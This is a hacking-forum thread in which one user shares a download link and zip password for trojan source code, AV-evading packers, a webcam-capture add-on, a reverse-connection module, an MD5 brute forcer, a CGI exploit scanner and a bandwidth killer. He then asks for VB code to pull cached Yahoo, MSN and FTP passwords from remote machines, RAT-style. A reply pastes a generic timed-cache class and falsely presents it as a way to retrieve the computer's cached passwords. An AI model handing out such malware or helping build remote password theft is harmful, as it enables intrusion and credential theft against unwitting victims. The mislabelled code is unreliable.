15 Source Codes

[EGzer0]

those 15 source codes are of my favourite source codes
i Hope u like them:

Trojans
---------
SubNet -----> a trojan with the Best GUI you will ever see
DSK 1.0 -----> A very Good Trojan
Messiah 2.0 [Private] -----> a Good trojan with lots of function
Dark Moon v1.0 -----> Just Like The one above
Ace Remote Control -----> not a very good trojan but it's nice
G-Hack -----> nice and new stuff added
Net Trash -----> Advanced (but old) Trojan

Packing
---------
EXE Protection Software -----> a EXE Packer Written on VB
Almost Undetectable Encryption -----> another Packer


addons for any trojan
---------------------------
Webcam Capture ----> Capture the webcam and send it to the client
SIN  -----> a Good Example For Sin (Reverse) Connection


Websites
-----------
MD5 Brute  -----> a Brute Force For MD5 Passwords
CGI Scanner -----> a CGI Exploit Scanner
Bandwidth Killer -----> the name say it all


unknown
-----------
process_inject ion -----> ??

that's all for now


Para ver este enlace Registrate o Inicia Sesion

http://www.4shared.com/file/5408871/11a08d90/source_codes.html

zip Password : "portalhacker.n et" without the quotos


and i got two silly questions:
what is your language? i triend so many dictionaries but.....
and the second is in vb "How can i get cached Passwords in VB?note im using WinXP" because there is some way i found on pscode uses a file called mpr.dll wich can't be found in XP

[ranefi]

Thank you for the codes! Okay, first question...

1.- Our languaje is spanish, Google can help you with that.

... Second question...

Check this code.

Para ver este enlace Registrate o Inicia Sesion

Download

Sincerely, i dont understand very well your second question, but i think this code can resolve all your questions. See ya.

[EGzer0]

thx
but if u read the comment on the source u will know that
- it only gets the dail-up passwords
- in XP those passwords are shown as "*" and he is working to solve this thing
what can i use it for?

i wanna get all chached passwords or some of them like Yahoo! MSN and Internet Explorer

thx again for trying to help me

[47]

I don't speak very good english :S ... but i like help ^^..

mmmm i beleave that you need a soft like this?? ....

A soft that show the character behind the "*" xDD


Para ver este enlace Registrate o Inicia Sesion

Soft Link

i'm sorry for my poor english :s

47

[EGzer0]

no this too

have any body seen ProRAT That brings all chached passwords on the remote computer to ur screen??? like CuteFTP and Yahoo and MSN Messangers?

i want a code like that but in vb

thx for trying to help me
if u can't....just say it

[ranefi]

no this too

have any body seen ProRAT That brings all chached passwords on the remote computer to ur screen??? like CuteFTP and Yahoo and MSN Messangers?

i want a code like that but in vb

thx for trying to help me
if u can't....just say it

Hi EGzer0! This code can help you to retrieve the computer's cache.

Insert this code into a...

Class

Código:

Option Explicit
'Types
Private Type Cache
    Trigger As String
    Data As Variant
    TTL As Date
    Used As Boolean
End Type
'Objects
Dim WithEvents Ticker As GI32Timer.Ticker
'Arrays
Dim LC() As Cache

'local variable(s) to hold property value(s)
Private mvarLimit As Integer 'local copy
Public Sub EraseCache(ByVal Trigger As String)
Dim I As Integer
For I = 1 To mvarLimit
    If LC(I).Trigger = Trigger Then
        KillCache I
        Exit Sub
    End If
Next I
End Sub

Private Sub KillCache(CacheID As Integer)
    LC(CacheID).Used = False
    LC(CacheID).Data = 0
    LC(CacheID).Trigger = ""
End Sub

Public Sub AddCache(ByVal Trigger As String, ByVal Data As Variant, ByVal TTL As Long)
Dim I As Integer
For I = 1 To mvarLimit
    If Not LC(I).Used Then
AddIt:
        LC(I).Used = True
        LC(I).Trigger = Trigger
        LC(I).Data = Data
        LC(I).TTL = DateAdd("s", TTL, Now)
        Exit Sub
    End If
Next I
'Ok, seems there's no free cache... lets clean it up then!
For I = 0 To mvarLimit - 1 'We dont change first record
    LC(mvarLimit - I).Data = LC(mvarLimit - I - 1).Data
    LC(mvarLimit - I).Trigger = LC(mvarLimit - I - 1).Trigger
    LC(mvarLimit - I).TTL = LC(mvarLimit - I - 1).TTL
    LC(mvarLimit - I).Used = LC(mvarLimit - I - 1).Used
Next I
I = 1
GoTo AddIt
End Sub

Public Function GetCache(ByVal Trigger As String) As Variant
Dim I As Integer
For I = 1 To UBound(LC)
    If LC(I).Trigger = Trigger Then
        GetCache = LC(I).Data
        Exit Function
    End If
Next I
GetCache = ""
End Function

Public Property Let Limit(ByVal vData As Integer)
If vData < 1 Then vData = 1
mvarLimit = vData
ReDim Preserve LC(mvarLimit)
End Property

Public Property Get Limit() As Integer
    Limit = mvarLimit
End Property

Public Sub Purge()
Erase LC
End Sub

Private Sub Class_Initialize()
mvarLimit = 10
ReDim LC(10)
Ticker.Interval = 5000
Ticker.Enabled = True
End Sub

Private Sub Ticker_Tick()
'Fired when one minute passed on timer :)
    SessionTimer
End Sub

Private Sub SessionTimer()
'This procedure check each cache expiration and kill if need
Dim I As Integer
For I = 1 To mvarLimit
    If DateDiff("s", Now, LC(I).TTL) < 0 Then KillCache (I)
Next I
End Sub

I you want to retrieve the MSN's cache passwords, you must to investigate about MSN's and Yahoo's registry keys. It's a DLL. See ya.

[EGzer0]

im very sorry
but what should i write in the form to view the passes?
thx u